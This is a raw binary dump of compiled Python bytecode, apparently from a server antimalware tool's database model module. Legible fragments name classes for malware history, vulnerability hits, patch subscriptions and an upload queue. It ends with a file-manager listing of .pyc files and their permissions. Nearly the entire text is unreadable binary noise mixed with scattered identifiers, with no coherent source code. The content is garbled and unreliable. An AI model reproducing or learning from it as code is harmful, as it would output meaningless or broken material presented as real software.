���"�"�7�+�+�1�1�%�8�8�?�?��G�G�M�M�O�O����"�8�^�U�C�C�E��5�k�k���{�{�t�{�,�,�k�9�9r?c	��|jd|�dd��ptj|�dd��ptj|�dd��ptjjd�|���	��dS)Nr}�causera)r}r�rar>)
�insert�popr�ROOTr-�MANUALr,r|r{�execute)rlr�s  r@�
save_eventzMalwareHistory.save_event�s�����
�	
��j�j��d�3�3�D�x�}��*�*�W�d�+�+�E��/E� �*�*�_�d�;�;�2�&�+�1�		
�	
�
�	
�	
��'�)�)�)�)�)r?r��
List[dict]c�.�tj���5tt	|jj��z}t||���D])}|�|���	���*	ddd��dS#1swxYwYdS)N)�
chunk_size)
r!r;�atomicr1r��_meta�columnsr(�insert_manyr�)rlr�r��
hits_chunks    r@�save_eventszMalwareHistory.save_events�s���
�[�
�
�
!�
!�	6�	6�5��S�Y�=N�9O�9O�O�J�-�d�z�J�J�J�
6�
6�
����
�+�+�3�3�5�5�5�5�
6�	6�	6�	6�	6�	6�	6�	6�	6�	6�	6�	6�	6����	6�	6�	6�	6�	6�	6s�AB
�
B�BrRrjrmrOc�>�|�|jtj�����|j�|��|jtkz|j|kz���	|j���
��SrM)rWrYrr�rbrcr�r*r�rd�tuples)rlrRrms   r@�get_failed_cleanup_events_countz.MalwareHistory.get_failed_cleanup_events_count�s{��
�J�J�s�x�����,�,�
�U�����U�#�#��9� 1�1�3��9��%�'���
�X�c�h�
�
�
�V�X�X�		
r?)NNN)r�r�)rRrjrmrO)$r8r9r:rqrAr"rYrr$rrrr,rzr{r|rar�r�r}�
file_ownerr�rr�r�r�r�r�r�r�r�r�rr�r�r�r�r>r?r@r�r�GsL������D�D�%�%�%�%�%�%�%�%�
�=�e�$�$�$�D��y�d�#�#�#�H��I�
��E�%�,�,�/�2�8�/�4�:����
�
�	
�(�,�2�
�
�
�M�
�I�5�!�!�!�E�
�I�5�!�!�!�E��	�u�%�%�%�I����&�&�&�J��	�u�%�%�%�I��L�e�-@�-@�A�A�A�E��i�T�"�"�"�G��i�T�"�"�"�G��i�T�"�"�"�G����%�%�%�J��)��&�&�&�K� �L�d�+�+�+�M��i�T�"�"�"�G��9�$�'�'�'�L��HL�:�:�:��[�:�&����[���6�6�6��[�6��

�

�

��[�

�

�

r?r�c�H�eZdZdZGd�d��Ze��Zeeddd���Z	e
d���Ze
d���Ze
d���Ze
d���Ze
d	���Ze
d	���Zed	���Ze
ej�
��Zed	���Zed���Zed$d���Zed%d���Zedd�d���Zed���Ze										d&d���Zed���Z e!d'd���Z"ed(d!���Z#ed)d"���Z$d#�Z%dS)*�VulnerabilityHitzRepresents a vulnerable file.c� �eZdZejZdZdS)�VulnerabilityHit.Meta�vulnerability_hitsNr7r>r?r@rAr����������;��'���r?rAF�vulnerabilitiesr�r�rDTr�c�T�tt|j��}t|��SrMr�r�s  r@r�zVulnerabilityHit.orig_file_path�r�r?�	signaturer�r�r�c�,�|�d��S)Nz
VULN-ESUS-)r�)rlr�s  r@�matchzVulnerabilityHit.match�s���#�#�L�1�1�1r?rjc��tjd|��x}r-|���d�d��SgS)NzVULN-ESUS-([\d,]+)r�,)�rer��groups�split)rlr�r�s   r@�get_vulnerability_idsz&VulnerabilityHit.get_vulnerability_ids�sB���I�3�Y�?�?�?�5�	0��<�<�>�>�!�$�*�*�3�/�/�/��	r?Nrc�2�����fd�}t||��S)Nc�����j�|��}�r|�j����z}�����|��SrMrrs  ��r@r�z-VulnerabilityHit.get_hits.<locals>.expression�rr?rrs` ` r@rzVulnerabilityHit.get_hits�rr?c�.���fd�}t||��S)Nc���������j�|����SrMr=r>s �r@r�z0VulnerabilityHit.delete_hits.<locals>.expression�r?r?r�r@s`  r@rAzVulnerabilityHit.delete_hits�rBr?rc�d�|�|t���t��}|p
t��}d�|��}
tj|ktj|kz}|�|t
d|
f��|j|
zzz}|�||j|kz}|�||j|kz}|	�
||j	|	zz}|}|
�||j
�|
��z}|�|���
|���|��}|�t|||��}|�t!j|j
�����t���|�����}d�|D��}||fS)Nz%{}%r�c�6�g|]}|�����Sr>r�r�s  r@r�z/VulnerabilityHit._hits_list.<locals>.<listcomp>$r�r?)rWr3r�rrrr[rr�rZr�r�rcrbrgrhr$rr�r�)rlrmrnrgrhr�r�r�rer�r�r�r�r�r�r�r�r�r�s                   r@r�zVulnerabilityHit._hits_list�s����z�z�#�{�+�+�0�0��=�=��
�\�4�6�6���-�-��'�'��#�+�u�4���2�%�
�����C�0�7�*�����7�"�$�
$�L����C�H��,�,�L��!��C�J�*�4�4�L�� ��C�J�)�3�3�L�(���?��C�F�J�J�s�O�O�+�L��*�*�\�*�*�0�0��7�7�>�>�v�F�F����$�X�s�G�<�<�G�
�J�J�r�x���'�'�(�(�
�T�+�
�
�
�U�$�
%�
%�
�V�X�X�		�4�3�7�3�3�3���&� � r?c��|j|i|��SrM)r�)rlr�r�s   r@rjzVulnerabilityHit.list(s���s�~�t�.�v�.�.�.r?ro�List['VulnerabilityHit']rq�#Dict[str, List['VulnerabilityHit']]c���td�tj�|��D��t	|�����}d�tj|t	|�����D��S)Nc3�K�|]}|V��dSrMr>rKs  r@ruz6VulnerabilityHit.group_by_attribute.<locals>.<genexpr>1rvr?rwc�4�i|]\}}|t|����Sr>rzr{s   r@r}z7VulnerabilityHit.group_by_attribute.<locals>.<dictcomp>4r~r?rr�s   r@r�z#VulnerabilityHit.group_by_attribute,r�r?r��	list[int]c��t��}|D]2}|tt�|d����z}�3t|��S)Nr_)�setr�rrj)rlr��vuln_idsr+s    r@�get_vulnerabilities_idsz(VulnerabilityHit.get_vulnerabilities_ids<sU���5�5���	�	�C��� �6�6�s�6�{�C�C���
�H�H��H�~�~�r?c�F�d�|D��}d�}t|||||��S)Nc��g|]	}|j��
Sr>r�r�s  r@r�z/VulnerabilityHit.set_status.<locals>.<listcomp>Gr�r?c��d|i}|�||d<|jdi|���|j�|����S)Nr��
patched_atr>r�)r�rlr�rr�s     r@r�z/VulnerabilityHit.set_status.<locals>.expressionIr�r?r�)rlr�r�rr�s     r@r�zVulnerabilityHit.set_statusEr�r?c��|j|j|j|jj|j|jj|j|j|j|j	|j
d�S)N)r�r��	file_pathr�r�rTr_r�r�r�r)r�r�r�rZr[r�r_r�r�r�rr�s r@r�zVulnerabilityHit.as_dictVsN���'��	����{�*��~���)��I��I��I��k��/�
�
�	
r?)r�r�r�r�)r�r�r�rj)
rNNNNNNNNN)rorrqr�r�r	)r�rjr�r
rM)&r8r9r:rqrArr�rr3rZrr�r�r"r�r_r�r�rr~r.�
VULNERABLEr�rr�r�rr�rrrAr�rjr�r�rr�r�r>r?r@r�r��s�������'�'�(�(�(�(�(�(�(�(�

��	�	�B�
�_��
�&��	���F�
�I�5�!�!�!�E��9�%� � � �D��
�5�)�)�)�I��9�%� � � �D��9�$����D��9�$����D��
��%�%�%�I��Y�5�@�
A�
A�
A�F����&�&�&�J�
����X���2�2�2��[�2������[��
�)-�B�B�B�B��[�B��>�>��[�>��������
����1!�1!�1!��[�1!�f�/�/��[�/��

�

�

��\�

������[���
�
�
��[�
� 

�

�

�

�

r?r�c�D�eZdZdZGd�d��Zed���ZdS)�ImunifyPatchSubscriptionz(Stores Imunify Patch user subscriptions.c� �eZdZejZdZdS)�ImunifyPatchSubscription.Meta�imunify_patch_subscriptionsN)r8r9r:r!r;r<r�r>r?r@rAris�������;��2�
�
�
r?rATrBN)r8r9r:rqrAr�user_idr>r?r@rrfsP������2�2�3�3�3�3�3�3�3�3��i�D�)�)�)�G�G�Gr?r�pending�
processing�	exhaustedc��eZdZGd�d��Ze��Zedd���Zed���Z	edd���Z
ed���Zedde
�	��Zed
���Zed���Zed���Zd
S)�
MRSUploadItemc�$�eZdZejZdZdZdS)�MRSUploadItem.Meta�mrs_upload_queue)))r��
upload_reasonT))r�r'�enqueued_atF))r��last_attempt_atFNr�r>r?r@rAr%ws!�������;��%��
���r?rA�@F)�
max_lengthrErD� �)r+rErIrr�TN)r8r9r:rArr�rr�rrr'rr(�PENDINGr�r�attempts�
last_errorr)r>r?r@r#r#vs�������
�
�
�
�
�
�
�
�
��	�	�B��9���/�/�/�D��	�u�%�%�%�I��I��%�8�8�8�M��*�%�(�(�(�K�
�Y�"�5�'�
B�
B�
B�F��|�A�&�&�&�H����%�%�%�J� �j�d�+�+�+�O�O�Or?r#c�r�eZdZGd�d��Zedd���Zed���Zed���Zd	S)
�MRSQueueCounterc� �eZdZejZdZdS)�MRSQueueCounter.Meta�mrs_queue_countersNr7r>r?r@rAr4�r�r?rAr*T)r+rCrr�rDN)	r8r9r:rAr�namerr{�last_metrics_report_timer>r?r@r2r2�ss������(�(�(�(�(�(�(�(��9���5�5�5�D��L��#�#�#�E�+�|��6�6�6���r?r2)Qrq�
__future__rr�r�r�r�r��dataclassesr�	functoolsrr�pathlibrr�typingr	r
rrr
rr�peeweerrrrrrrrrrrrr�playhouse.shortcutsr� defence360agent.contracts.configr�defence360agent.modelr r!�$defence360agent.model.simplificationr"r#r$�defence360agent.utilsr%r&r'r(�imav.api.cleanup_revertr)�imav.malwarelib.configr*r+r,r-r.�imav.malwarelib.scan.crontabr/�imav.malwarelib.scan.mds.reportr0�#imav.malwarelib.utils.sqlite_limitsr1r3r�r�r�r�r�rr.�
PROCESSING�	EXHAUSTED�WORKING_STATUSESr#r2r>r?r@�<module>rKs�����*#�"�"�"�"�"�������������	�	�	�	�	�	�	�	�!�!�!�!�!�!�������������������������>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�������������������������������.�-�-�-�-�-�5�5�5�5�5�5�1�1�1�1�1�1�1�1�����������
������������8�7�7�7�7�7���������������5�4�4�4�4�4�B�B�B�B�B�B�L�L�L�L�L�L�rB�rB�rB�rB�rB�%�rB�rB�rB�jvN�vN�vN�vN�vN��vN�vN�vN�r��$����"1�"1�"1�"1�"1�"1�"1���"1�Ja�a�a�a�a��a�a�a�Hf
�f
�f
�f
�f
�U�f
�f
�f
�Rs
�s
�s
�s
�s
�u�s
�s
�s
�l*�*�*�*�*�u�*�*�*���
�
��	��Z�(��,�,�,�,�,�E�,�,�,�*7�7�7�7�7�e�7�7�7�7�7r?

Filemanager

Name Type Size Permission Actions
__init__.cpython-311.opt-1.pyc File 186 B 0644
__init__.cpython-311.pyc File 186 B 0644
config.cpython-311.opt-1.pyc File 7.21 KB 0644
config.cpython-311.pyc File 7.21 KB 0644
engine.cpython-311.opt-1.pyc File 4.69 KB 0644
engine.cpython-311.pyc File 4.69 KB 0644
model.cpython-311.opt-1.pyc File 56.23 KB 0644
model.cpython-311.pyc File 56.23 KB 0644
mrs_upload_queue.cpython-311.opt-1.pyc File 1.19 KB 0644
mrs_upload_queue.cpython-311.pyc File 1.19 KB 0644